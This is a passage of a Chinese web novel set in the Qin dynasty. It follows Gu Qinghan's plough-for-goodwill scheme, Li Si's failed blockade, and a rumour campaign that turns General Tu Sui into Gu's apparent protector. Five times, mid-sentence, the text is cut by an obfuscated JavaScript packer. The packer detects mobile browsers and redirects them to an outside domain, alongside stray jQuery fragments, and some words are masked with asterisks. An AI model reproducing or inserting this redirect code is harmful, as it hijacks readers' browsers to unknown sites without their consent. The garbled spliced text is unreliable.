“这……这是啥?”村民们好奇地围了上来。 “此物,名为‘曲辕神犁’!”李山河拍着胸脯,大声道,“来,让我们的人给老乡们演示演示!” 一名壮硕的汉子,牵过商队自己带来的一头健牛,套上曲辕犁。只见他一人一牛,轻松自如,那锋利的犁头深深扎入坚硬的土地,如同热刀切牛油,松软的泥土被高高翻起,形成整齐的田垄。 不过半个时辰,翻出的地,就比村里人一上午干的活还多。 整个村口,鸦雀无声。 所有村民都目瞪口呆地看着那片松软的新田,仿佛在看神迹。 “我的天……这……这也太快了!” “那犁头,是铁的吧?怎么比刀还快!” 村长哆哆嗦嗦地走上前,用手摸了摸那翻起的泥土,又看了看那闪着寒光的犁头,眼中爆发出前所未有的光亮。他猛地抬头,声音都带着颤音:“客官,这……这神犁……怎么卖?” 此话一出,所有村民都紧张地看向李山河。他们知道,这么好的东西,价钱一定高得吓人。 李山河哈哈一笑:“老乡,实不相瞒,我们赵家商号的东家说了,这神犁,不是用来赚钱的。” 他环视一圈,声音变得沉稳有力:“我们东家也是苦出身,见不得百姓受苦。这神犁,卖!但只收成本。一架神犁,换你们三件坏了的旧铜器、旧铁器,再加一斗粗粮便可。若是实在拿不出,也无妨,只要你们答应,明年多种一亩地,这犁,便算我们东家送你们的!” 整个村庄,死一般的寂静之后,猛地爆发出震天的欢呼声。 “老天开眼了!老天开眼了啊!” 老村长再也抑制不住,老泪纵横,“噗通”一声跪倒在地,朝着李山河磕头:“敢问客官,你们东家是哪位活菩萨?我等要给他立长生牌位,日夜供奉啊!” 李山河将他扶起,遥遥指向南方九原郡的方向,一字一句,清晰地说道:“我们东家不姓赵,也不要什么牌位。他只有一个名号,九原,顾右庶长。” “九原,顾右庶长。” 这六个字,仿佛带着翅膀,在代郡、雁门郡的崇山峻岭间,以一种不可思议的速度飞速传播。 它起初只是山村里老农的喃喃自语,后来成了田埂上市集的窃窃私语,最后汇聚成酒馆茶肆里说书人拍案而起的惊叹。 故事的版本越传越神。 有的说,那位顾右庶长身高丈二,青面獠牙,本是天上凶星下凡,却心怀慈悲,不忍见北地黎民受苦。 有的说,他是神农后裔,生而知之,能点石成金,那天工神犁便是他用手指在地上画出来的。 更有人信誓旦旦,说亲眼见到赵家商号的人,个个身手不凡,为首的独眼龙,能徒手撕裂虎豹。 他们不求金银,只为替那位顾右庶长积德行善。 “听说了吗?隔壁王家村,换了神犁,以前三天的活,现在半天就干完了!” “何止啊!李家庄更邪乎,他们村长说,自从用了那犁,地里的石头都自己变少了!” “那犁头,乖乖,俺见过,比军爷的刀还亮!砍木头跟切瓜一样!” 流言如风,裹挟着希望的种子,撒遍了这片被贫瘠和苛政压得喘不过气的土地。 无数双麻木的眼睛里,重新燃起了名为活路的光。 许多村落自发地派人,带着家里仅有的一点铜器铁片,翻山越岭,去寻找那支挂着“赵”字旗的神秘商队。 他们不再称呼那件农具为曲辕犁,而是众口一词地叫它“顾公犁”。 一时间,在北疆百姓口中顾公二字,比郡守的官印、咸阳的政令,还要管用。 雁门郡郡守府,郡守王威正对着一份份雪片般飞来的公文,愁得头发都快薅光了。 “胡闹!简直是胡闹!”他拍着桌子,对面前的郡尉道,“什么赵家商号?什么顾公犁?一个来路不明的商队,一件闻所未闻的农具,就把整个雁门郡搅得人心浮动!还有那些刁民,放着赋税不去交,成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713593|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群结队跑去山里换犁头?反了!他们这是要反了!” 郡尉擦了擦额头的冷汗,低声道:“大人,下官也派人去查了。那赵家商号,行事确实古怪,但他们只换东西,不抢不占,百姓们都拥护得很。我们的人若是强行干预,怕是……怕是会激起民变啊!” “民变?”王威冷笑一声,“本官手下三千郡兵,还怕一群泥腿子不成?” 他正要下令出兵驱逐,脑中却猛地闪过一道电光。 赵家商号…… 他忽然想起数月前,从咸阳传来的一道加密的内廷密诏,上面清清楚楚地写着:凡遇挂“赵”字旗号之商队,需多加照拂,不得有误。落款,是那个让他看一眼便心惊胆战的御玺印记。 王威的后背,瞬间被冷汗浸透。 他呆坐在椅子上,半晌说不出话来。 一边是丞相李斯严防死守的封锁令,一边是来自权力之巅的神秘嘱托。 这两股力量,无论哪一边,都不是他一个小小的郡守能得罪得起的。 “大……大人?”郡尉见他脸色变幻,小心翼翼地问。 王威长长地吐出一口气,仿佛用尽了全身的力气,颓然地挥了挥手:“罢了。传令下去,让他们……闹去吧。只要他们不攻城,不**,就……就当没看见。” …… 咸阳,丞相府。 李斯的心情很不错。 算算日子,他布置的封锁网已经撒下去快两个月了。 九原那地方,就算有存粮,此刻也该见底了。 没有铁料,兵器铠甲损耗一件便少一件。 他仿佛已经能听到,那支所谓的破阵营,正在饥寒交迫中慢慢腐烂。 “相爷,”一名心腹幕僚满面春风地走进来,躬身道,“大喜。三川郡那边,李由公子传来消息,那股‘北地义军’近来消停了不少,想来是九原自顾不暇,没精力再支持他们了。” “哼,本相早就料到了。”李斯端起一盏上好的清茶,慢悠悠地品了一口,“顾清寒那竖子,不过是匹夫之勇,稍用智谋,便让他动弹不得。等到开春,九原必然兵变,届时本相再上书陛下,名正言顺地接管九原,看那小子还有何话说。” 第128章 活菩萨与催命符 第一百二十八章活菩萨与催命符 就在他志得意满之时,另一名幕僚连滚带爬地冲了进来,脸色煞白如纸,手里捧着一卷竹简,仿佛捧着一块烙铁。 “相……相爷!不……不好了!北边……北边出大事了!” 李斯眉头一皱,不悦道:“慌慌张张,成何体统!说!” 那幕僚“噗通”一声跪倒在地,双手颤抖地将竹简呈上:“相爷……您还是自己看吧。” 李斯狐疑地接过竹简,缓缓展开。 竹简上的字,他都认得,但连在一起,却让他感到一阵阵的眩晕。 “……代郡、雁门二郡,忽现‘赵家商号’,以‘天工神犁’换取民心……其犁锋利无匹,可开垦荒地,效率倍增……百姓感念其恩,称之为‘顾公犁’……如今二郡百姓,只知九原顾公,不知朝廷法度……更有歌谣传唱:‘秦法猛于虎,顾公恩如父。若得顾公犁,不愁仓无粟’……” “哐啷!” 李斯手中的白玉茶盏脱手而出,在光洁的地板上摔得粉碎。 那句“只知九原顾公,不知朝廷法度”,如同一根烧红的铁钎,狠狠刺入他的心脏。 他以为自己布下的是天罗地网,是釜底抽薪的绝户计。 可对方,非但没被抽干,反而引来天河之水,直接把他李斯精心构建的堤坝,冲了个稀巴烂! 封锁? 断供? 人家压根不跟你玩了! 人家自己炼钢,自己种地,甚至还把生意做到了你的眼皮子底下,挖起了大秦的根基! “赵家商号……顾清寒!”李斯双目赤红,牙齿咬得咯咯作响,英俊儒雅的面容因为极致的愤怒而扭曲,状若恶鬼,“查!给本相查!这个赵家商号,背后到底是谁!本相不信,他一个黄口小儿,能有如此通天的本事!” 那股被愚弄、被**于股掌之上的耻辱感,让他几欲发狂。 他猛地一把推开面前的案几,竹简、笔墨、奏章散落一地。 “来人!”他咆哮着,“传信给上郡的屠睢将军!告诉他,九原郡匪患滋生,意图谋逆!让他整顿兵马,给本相死死盯住九原!只要那顾清寒敢有任何异动,就地格杀,不必请示!” 这一次,他要动用的,是真正的雷霆手段。 与此同时,九原郡,赵正下榻的客栈内。 嬴政同样拿着一份来自北地六郡的密报,上面详尽地记录了顾公犁引发的种种风波,甚至连那首民谣都一字不差。 陆佩奇站在一旁,眼角不住地抽搐,心里已经不知道是该震惊还是该佩服。 “陛下……这……这歌谣……” 嬴政却仿佛没听见,只是反复地念着那句“秦法猛于虎,顾公恩如父”,浑浊的老眼中,闪烁着一种陆佩奇完全看不懂的,混杂着怒意、无奈,却又带着一丝诡异笑意的复杂光芒。 他忽然放声大笑起来,笑得捶着桌子,眼泪都流了出来。 “哈哈哈哈……好!好一个‘秦法猛于虎’!好一个‘顾公恩如父’!朕的这个好丞相,替朕治理天下,结果却治出了这么一句歌谣!” “朕的这个好孙儿,一心想着**,却无心插柳,成了北地百姓的活菩萨!” 他笑罢,将密报往桌上一拍,对陆佩奇道:“备笔墨!传朕密诏,告诉屠睢,让他看好上郡的兵。至于九原那边……没有朕的旨意,谁敢动顾清寒一根汗**,让他提头来见!” 陆佩奇躬身领命,心中只有一个念头。 这盘棋,已经彻底乱了。 或者说,从一开始,执棋人就不是咸阳城里的那位丞相。 而是他眼前这位,正饶有兴致地看着自己孙儿,一步步挖着自己江山墙角的皇帝陛下。 上郡,屠睢将军府。 作为镇守大秦北疆的老将,屠睢见惯了风沙,也见惯了生死。 他更习惯了咸阳城里那些文官们变幻莫测的脸色和辞藻华丽却暗藏机锋的公文。 但今天,他面前的这两封信,却让他那张饱经风霜的脸,拧成了一个疙瘩。 第一封信来自丞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713594|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相李斯,封口的火漆像是被愤怒的指甲掐过,字里行间都透着一股压抑不住的怒火。 信中痛斥九原顾清寒妖言惑众、收买人心、意图不轨,严令屠睢即刻整军,陈兵上郡与九原边境,形成高压之势,只要九原稍有异动,便以雷霆之势将其剿灭,并赋予他“先斩后奏”之权。 “妈的,这些读书人,自己屁股没擦干净,就想让老子去给他们当刀使。” 屠睢低声咒骂了一句。他戎马半生,最烦的就是这种朝堂倾轧。 那个顾清寒他有所耳闻,是个能打的后生,把匈奴人揍得满地找牙。 现在李斯一句话,就要他把刀口对准自己人? 他正烦躁,亲兵却又送来一封密信。 这封信截然不同。 它没有封蜡,只有一个小小的、不起眼的御玺印记。 信使如同一个影子,悄无声息地进来,又悄无声息地退下,仿佛从未出现过。 信上的字不多,是用一种更古朴的字体写的,笔锋苍劲,力透纸背。 “屠睢,看好上郡的兵。九原之事,朕自有决断。无朕手诏,擅动一兵一卒者,夷三族。” 没有愤怒的咆哮,没有华丽的辞藻,只有平静到令人胆寒的命令。 屠睢的后背瞬间冒出一层细密的冷汗。 他几乎是本能地将这封信凑到烛火上,看着它化为一缕青烟,融入空气之中。 许久,他才缓缓吐出一口浊气,对身边的副将沉声下令:“传令下去,全军加强戒备,操练不可松懈。” 副将一愣:“将军,那丞相大人那边……” 屠睢瞥了他一眼,眼神如同北地的寒冰:“我们的敌人是草原上的豺狼,不是西边的邻居。让弟兄们把眼睛放亮点,盯着北边!谁敢把枪口对准九原,老子第一个拧下他的脑袋!” 副将心中一凛,不敢再问,立刻躬身领命。 屠睢独自一人站在沙盘前,看着上郡与九原犬牙交错的地形,陷入了沉思。 这大秦的天,怕是要变了。 第129章 屠睢按兵不动 姜瞳夜话诛心 第一百二十九章屠睢按兵不动姜瞳夜话诛心 而这场风暴的中心,似乎就是那个叫顾清寒的年轻人。 此时的九原郡守府,气氛也有些凝重。 “顾少,探子来报,上郡的屠睢老儿,已经开始调集兵马了,看那架势,就是冲着咱们来的!” 牛辅在书房里来回踱步,蒲扇般的大手把腰间的刀柄捏得咯吱作响,“**,李斯那老狗真要动手了!顾少,您下令吧!咱们破阵营也不是吃素的!正好试试咱们的天工刀利不利!” 文远却显得很平静,他指着地图分析道:“主公,屠睢虽然陈兵,但并未越界,也未封锁要道,更像是**,而非决战。李斯此举,敲山震虎的意味更浓。” 顾清寒手指轻轻敲击着桌面,神情看不出喜怒。 他自然不信李斯敢冒天下之大不韪,真的挑起一场内战。 但他摆出这个架势,就是要做给天下人看,做给北地六郡的官吏百姓看——他顾清寒,是朝廷钦定的“匪寇”,而他李斯,才是手握王法利剑的人。 这一招,是诛心。 就在他思索对策之时,一名亲兵在门外禀报:“启禀主公,夫人到了。” 书房内三人的神情都是一变。 牛辅和文远对视一眼,默契地躬身告退。 顾清寒快步迎了出去,只见一身素雅长裙的姜瞳,正俏生生地站在庭院中。 她身后跟着几个侍女,抬着几个食盒。 那只雪白的小猫像是见到了亲人,从廊下的软垫上一跃而起,亲昵地蹭着她的裙角。 “你怎么来了?” 顾清寒的语气不自觉地柔和下来,方才那股军旅的肃杀之气,顷刻间烟消云散。 “听闻夫君近日烦心,妾身备了些酒菜,顺便来看看你。” 姜瞳的笑容如春风拂面,她提起一个食盒,自然地牵起顾清寒的手,向书房走去,“进去说吧,外面风大。” 书房内,酒菜摆开,皆是顾清寒爱吃的口味。 姜瞳为他斟满一杯酒,柔声道:“那首民谣,妾身也听说了。” “让你见笑了。”顾清寒自嘲地笑了笑。 “夫君何出此言?”姜瞳那双仿佛能洞悉人心的眸子看着他,“妾身倒觉得,这首歌谣,比利斯丞相的万言奏章,还要重千斤。” 她顿了-顿,声音轻柔却字字清晰:“水能载舟,亦能覆舟。夫君用一把犁,在北地百姓的心田里,种下了希望。而李斯用一道封锁令,在他们心头,刻下了恐惧。希望的种子会生根发芽,长成参天大树;恐惧的烙印,却只会溃烂化脓,最终被人连皮带肉地剜去。” 顾清寒心中一动,握住了她的手。 知我者,姜瞳也。 “只是,”姜瞳话锋一转,眼中带着一丝慧黠,“百姓称你为‘顾公’,尊你如‘父’。父亲,不仅要给予,也要保护。如今屠睢兵临城下,北地的百姓都在看着,看他们这位新认的‘父亲’,能否护得住他们。” “你想说什么?” “夫君,你现在最不缺的,是民心。最缺的,是名分。” 姜瞳一针见血,“你若与屠睢开战,无论胜负,都坐实了‘谋逆’的罪名,失了道义。你若退缩不理,又会让刚刚凝聚的民心失望,觉得你外强中干。所以,此战,不能打,却又不能不打。” 顾清寒看着自己的妻子,心中满是欣赏。 这番见解,比文远还要深刻几分。 “那你觉得,该如何是好?” 姜瞳促狭一笑,凑到他耳边,吐气如兰:“这种大事,妾身一介女流,如何能懂?不过,妾身倒是觉得,夫君那位出手阔绰、背景神秘的‘赵老伯’,或许会有什么高见呢?” 顾清寒一愣,随即哈哈大笑起来。 他捏了捏姜瞳的琼鼻:“你啊,真是个鬼灵精。” 他心中豁然开朗。 是啊,自己怎么把这条最粗的大腿给忘了? 李斯搬出了朝廷的大军,自己何不也请出自己的靠山来唱唱对台戏? 当夜,顾清寒又拎着两坛好酒,熟门熟路地摸进了赵正的客栈。 嬴政正和陆佩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713595|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇下棋,见顾清寒一脸“天要塌下来了”的表情,眼皮都没抬一下。 “怎么,你那犁头卖不出去了?” “比卖不出去还麻烦。”顾清寒一屁股坐下,给自己倒了杯水,一口气灌下去,“赵老伯,李斯那老狗,派屠睢领着大军堵在我家门口了,说我是反贼,要灭了我!您说,这生意还怎么做?” 陆佩奇手里的棋子差点掉在地上。 他发誓,这天底下,敢当着陛下的面,如此理直气壮地称呼当朝丞相为老狗,还抱怨他妨碍自己**大业的,古往今来,怕也只有眼前这位了。 嬴政终于抬起头,看了他一眼,慢悠悠地落下一子,发出清脆的“啪”的一声。 “狗,若是叫得凶,只有两种可能。” 他端起茶杯,吹了吹浮沫,“要么是真要咬人,要么,是它脖子上的链子,被人拽住了,它心里害怕。” 顾清寒心中一震,细细品味着这句话。 嬴政放下茶杯,浑浊的老眼中闪过一丝无人能懂的笑意:“屠睢是个聪明人,也是个纯粹的军人。他知道自己的刀口该对着谁。李斯的链子,还拴不住他。你啊,该种地种地,该炼钢炼钢。把自己的家底做厚了,比什么都强。只要你这九原城,固若金汤,兵强马壮,那屠睢的兵马,就不是催命符,而是给你站岗的活菩萨。” 顾清寒豁然开朗。 赵老伯这是在告诉他,屠睢不会动手! 而他话里的意思……拽着屠睢脖子上链子的,另有其人! 那个人,是谁? 他看着眼前这位气定神闲的老者,心中那股敬畏和好奇,越发浓烈了。 从赵正的客栈出来,顾清寒脚下的步子都轻快了许多。方才那股压在心头的沉闷一扫而空,连夜风都似乎变得温和起来。 书房里,牛辅和文远还在灯下等着,见他推门进来,神情与方才判若两人,都是一怔。 “顾少,怎么样?”牛辅第一个迎上来,瓮声瓮气地问,“那赵老伯怎么说?是不是让咱们抄家伙,跟屠睢那老儿干**一架?” 第130章 **不见血 诛心不用刀 第一百三十章**不见血诛心不用刀 顾清寒在他结实的胸口捶了一拳,笑骂道:“干什么干?屠睢的十万大军,是来给咱们看家护院的。” “啊?看家护院?”牛辅挠着脑袋,满脸都是问号。 文远眼中却瞬间亮了起来,他拱了拱手:“主公,看来赵老伯已经为您解惑了。” “还是文远你脑子转得快。”顾清寒坐回主位,将赵正那番“恶犬”与“链子”的比喻简单说了一遍。 牛辅听得云里雾里,但总算明白了核心意思:“您的意思是,屠睢不敢动咱们?” “不是不敢,是不会。”文远在一旁补充道,神情凝重,“屠睢将军按兵不动,我等便无后顾之忧。但李斯这一招‘诛心’之计,却不得不防。他这是要让北地所有人都看到,我九原是朝廷眼中的逆贼,是悬崖边的孤舟,随时都会倾覆。” “没错,”顾清寒的手指在桌案上轻轻敲击,“他想让刚刚拿到‘顾公犁’的百姓们害怕,让他们觉得跟着我没有好下场。这比屠睢的大军,更毒。” 书房内一时陷入了沉默。李斯这一招,阳谋与阴谋交织,确实难以破解。 “那咱们就跟他对着干!”牛辅憋了半天,猛地一拍大腿,“他骂咱们,咱们也骂他!俺带几个嗓门大的弟兄,去上郡边境上,指着屠睢的鼻子,把李斯那老狗的祖宗十八代都问候一遍!” 文远被他逗乐了,摇头道:“牛将军,骂阵是斗将,非上策。丞相大人用的是‘势’,我等也要用‘势’来破局。” “文远说的对。”顾清寒敲击桌面的手指停了下来,“他想毁我的名声,我就把我的名声,铸成一座他推不倒的山。光有犁头,还不够。” 他沉吟片刻,目光变得深邃起来:“犁头能喂饱肚子,但喂不饱人心。人心,需要故事来填满。” 文远心领神会:“主公的意思是……” “让李山河的人,在雁门、代郡,还有上党,把咱们的故事,编成评书,唱成歌谣,传遍大街小巷。”顾清寒的嘴角,勾起一抹冷冽的弧度。 “怎么编?”牛辅凑了过来,他也听出了门道。 “故事里,要有忠臣,也要有奸臣。”顾清寒伸出一根手指,“忠臣,自然是咱们自己。大秦北疆的顾右庶长,心怀天下,爱民如子,为抵御匈奴,呕心沥血。他发明神犁,是为了让北疆的将士和百姓都能吃饱饭,好有力气保家卫国。” 他又伸出第二根手指:“奸臣嘛,就是咸阳城里一位妒贤嫉能的权臣。他看不得边疆将领立功,看不得百姓拥护,便进献谗言,罗织罪名,甚至想断绝边军的粮草兵器,自毁长城。” 牛辅听得热血沸腾:“对!就这么编!把李斯那老狗的丑事都抖搂出来!” “还不够。”顾清寒看向地图上“上郡”的位置,露出一丝玩味的笑容,“这个故事里,还需要一位深明大义的配角。上郡老将屠睢,久经沙场,忠勇爱国。他一眼就看穿了奸臣的阴谋,不忍见大秦自相残杀,令亲者痛仇者快。所以他陈兵边境,名为威慑,实为保护,不让奸臣的阴谋得逞。” 这番话一出,连一向沉稳的文远都惊得倒吸一口凉气。 牛辅更是把嘴巴张成了个“O”型,结结巴巴地说:“乖……乖乖!顾少,您这么一说,屠睢老儿不但不是敌人,反倒成了咱们的同道中人?李斯那老狗,不仅是奸臣,还是个傻子,他的计谋全成了给咱们抬轿子的垫脚石?” “我送一顶忠义的高帽子给屠将军,他没理由不戴。”顾清寒轻笑道,“这叫**不见血,诛心不用刀。” 文远躬身,深深一揖,语气中充满了叹服:“主公此计,釜底抽薪,反客为主,实在是高!如此一来,**的陈兵**,反倒成了他心虚的证据,更衬托出主公与屠将军的忠勇。天下人心,不辨自明。” 顾清寒站起身,负手而立,望向窗外的夜色:“去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713596|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办吧。我要让整个北疆都知道,谁是真正保卫他们的人,谁又是想让他们饿死、冻死在豺狼口中的人。” …… 赵正的客栈内,一份新的密报,摆在了嬴政的面前。 陆佩奇侍立在侧,面无表情,心中却早已是惊涛骇浪。 当他看到密报上顾清寒那番“忠臣奸臣论”,以及将屠睢塑造成“保护者”的计策时,他感觉自己的认知被彻底颠覆了。 这位顾少,已经不满足于挖大秦的墙角了,他这是在拆大秦的承重墙,还要让被拆的将军,对他感恩戴德! 嬴政看着密报,没有笑,只是眼中那股欣赏的意味,浓得几乎要溢出来。 他缓缓将密报放下,指尖在上面轻轻一点:“这小子,长进了。知道借力打力,还知道给对手送高帽子,把所有人的路都算计了进去。这已经不是简单的勇武和计谋,这是帝王心术的雏形。” “帝王心术”四个字,如同一道惊雷,在陆佩奇耳边炸响。他猛地垂下头,不敢让陛下看到自己惊骇的眼神。 陛下,您到底想做什么?您这是在夸他**造得有水平吗? 嬴政仿佛看穿了他的心思,嘴角微微上扬,瞥了他一眼:“怎么,觉得朕的孙儿,这招不够光明正大?” 陆佩奇的后背瞬间被冷汗浸湿,连忙躬身:“属下不敢。” “兵者,诡道也。为君者,何尝不是如此?”嬴政靠在椅背上,声音里带着一丝无人能察的自豪,“李斯想用‘法’和‘势’来压人,这小子却用‘情’和‘理’来化解,顺手把屠睢这颗最关键的棋子,变成了他自己的盾。告诉朕,这两个人,谁更像一个治国之人?” 陆佩奇哑口无言。 这个问题,他答不上来,也不敢答。 嬴政轻笑一声,重新拿起一枚棋子,在棋盘上轻轻落定。 “去,给朕温一壶好酒。今夜,朕要为这出好戏,自饮一杯。” 第131章 恶犬成了看门翁 第一百三十一章恶犬成了看门翁 “什么?竟有此事!” “怪不得官道封了,原来是这奸臣在搞鬼!” 百姓们本就因顾公犁而心向九原,此刻听闻这内幕,更是义愤填膺。 李山河趁热打铁,话锋一转,指向远处上郡的方向:“那奸臣一计不成,又生一计!竟矫诏调动上郡屠睢老将军的兵马,要来攻打九原,说顾公是反贼!各位乡亲,你们说,一心为民的人,会是反贼吗?” “不是!”台下群情激奋,吼声震天。 “那屠睢老将军,久经沙场,忠肝义胆,岂是糊涂之人?他一眼便看穿了李斯老儿的奸计!老将军心想,这刀口,是对准匈奴人的,怎能指向自己的袍泽兄弟?于是乎,屠老将军大军开拔,陈兵边境,名义上是奉了奸臣之命,实际上,却是用这十万大军,为九原筑起了一道人墙,护住了咱们北疆的这位活菩萨啊!” 旁边一个扮作卖唱的汉子,立刻拉起胡琴,用沙哑的嗓音唱了起来: “奸臣坐朝堂,黑心肠。忠良守边疆,铸犁忙。屠公识大义,铁壁墙。护我顾青天,保我粮!” 这歌谣简单上口,旋律更是朗朗动听,没一会儿,连路边的孩童都跟着哼唱起来。 一时间,李斯成了祸国殃民的奸臣,屠睢成了深明大义的忠将,而顾清寒,则是在忠将的暗中保护下,为民**的青天大老爷。 这出戏,唱得整个北地六郡,人尽皆知。 上郡,屠睢的军帐内。 气氛有些古怪。 副将拿着一份情报,脸上的表情像是便秘了十几天,想笑又不敢笑,想说话又不知从何说起。 “说。”屠睢正擦拭着自己的佩剑,头也不抬。 “将……将军,”副将清了清嗓子,用一种极其别扭的腔调念道,“外面……外面都在传,说您……慧眼如炬,深明大义,不与奸臣同流合污,陈兵于此,实为保护九原顾右庶长……” “噗……”旁边一个正在喝水的裨将,一口水全喷了出来。 屠睢擦剑的手停住了。 他缓缓抬起头,那张饱经风霜的脸上看不出喜怒,只是盯着副将:“还有呢?” “还……还有一首歌谣,”副将硬着头皮,干巴巴地哼了两句,“奸臣坐朝堂,黑心肠……屠公识大义,铁壁墙……” 军帐内,死一般的寂静。 几个裨将低着头,肩膀一耸一耸,显然是在强忍着笑意。 屠睢沉默了半晌,忽然把佩剑“哐”的一声拍在桌上。 众人吓得一哆嗦,以为将军要发火。 谁知屠睢却摸了摸自己的胡子,咧开嘴,露出一口黄牙,骂道:“**,这顶高帽子,做得还挺合头。老子这辈子,头一回被人这么夸。” 他站起身,走到地图前,看着九原的方向,眼神里透着一股老狐狸般的精明。 顾清寒这小子,有意思。 这一手,玩得漂亮。 李斯让他当恶犬,这小子倒好,直接把他屠睢捧成了看门的神。 这下,他要是真动了,就坐实了是李斯的走狗,与奸臣同流合污; 他要是不动,就印证了歌谣里说的,他是深明大义的保护神。 怎么选? 傻子都知道。 “传令下去。”屠睢沉声道。 “在!”副将立刻立正。 “让弟兄们把营寨扎得再牢固些,把岗哨设得再远一些,把军容整得再威风一些!” 屠睢大手一挥,“咱们是来干嘛的?是来保护北疆安宁的!就得有个保护神的样子!别让匈奴的崽子们,也别让某些心怀不轨的宵小,钻了空子!” 副将愣了一下,随即恍然大悟,憋着笑大声应道:“遵命!保证让咱们这‘铁壁墙’,固若金汤!” 屠睢满意地点点头,心里却把顾清寒那小子又骂了一遍。 送这么大一顶帽子,还让老子没法不戴,真是个小王八蛋。 咸阳,丞相府。 “咣当!” 一只价值连城的琉璃盏,被狠狠地掼在地上,摔得四分五裂。 李斯胸口剧烈地起伏着,双目赤红,死死地盯着手中那份从北地加急送来的密报。 那上面,详尽地记录了市集上的评书,酒馆里的歌谣,甚至连屠睢军中那些古怪的命令都一清二楚。 “保护神?铁壁墙?”李斯的声音像是从牙缝里挤出来的,带着血腥味,“好!好一个屠睢!好一个顾清寒!” 他感觉自己不是被扇了一巴掌,而是被绑在市中心,让全天下的人轮流上来吐口水。 他精心设计的诛心之计,转眼间,就成了衬托对方光辉形象的背景板。 他自己,从执棋人,变成了戏文里那个被钉在耻辱柱上的白脸奸臣。 而他最倚重的一枚棋子,镇守北疆的大将屠睢,竟然乐呵呵地当起了对方的捧哏! 这是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721467|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种智商和尊严被双重碾压的极致羞辱。 “噗——” 一股腥甜涌上喉头,李斯再也压抑不住,一口鲜血喷在了面前的竹简上,点点猩红,触目惊心。 “相爷!”堂下侍立的幕僚们大惊失色,连忙上前搀扶。 “滚!”李斯一把将他们推开,踉跄着站起身,眼中满是疯狂的血丝。 他输了,输得一败涂地。 他意识到,自己面对的,根本不是一个有勇无谋的边疆武夫。 那是一个比狐狸还狡猾,比毒蛇还阴狠的对手。 他想用势,对方却用势把他架在火上烤。 他想用法,对方却用情和理,把法变成了欺压忠良的恶器。 他还能怎么办? 派人去辟谣? 说那歌谣是假的,他李斯不是奸臣,屠睢也不是什么保护神,他就是去打顾清寒的? 那只会让他看起来更像一个气急败坏的小丑。 一种前所未有的无力感,席卷了李斯的全身。 他发现自己空有一身权势,却打不到那个远在九原的对手。 对方仿佛隔着千里,操控着人心,将他**于股掌之上。 “顾清寒……”李斯瘫坐在冰冷的地板上,喃喃自语,声音里充满了怨毒与不甘,“本相与你,不死不休……” 九原郡守府,后院。 顾清寒正悠闲地给那只白猫梳理着毛发,姜瞳坐在一旁,素手烹茶,动作优雅。 文远快步从外面走来,脸上带着一丝压抑不住的笑意。 “主公。”他躬身行礼。 “说吧,咸阳那边,琉璃盏又涨价了?”顾清寒眼皮都没抬一下。 文远忍着笑道:“不止琉璃盏。听闻昨日丞相府传召太医,据说是相爷忧国忧民,心力交瘁,呕血了。” 姜瞳递过一杯刚烹好的茶,莞尔一笑:“看来**的火气,比我们这炉子里的炭火,还要旺盛几分。” 顾清寒接过茶杯,轻啜一口,目光望向咸阳的方向,嘴角勾起一抹淡淡的弧度。 “告诉李山河,戏可以唱得再大一些。既然**都吐血了,我们总得表示一下。” 他顿了顿,声音平静得像是在说一件无关紧要的小事。 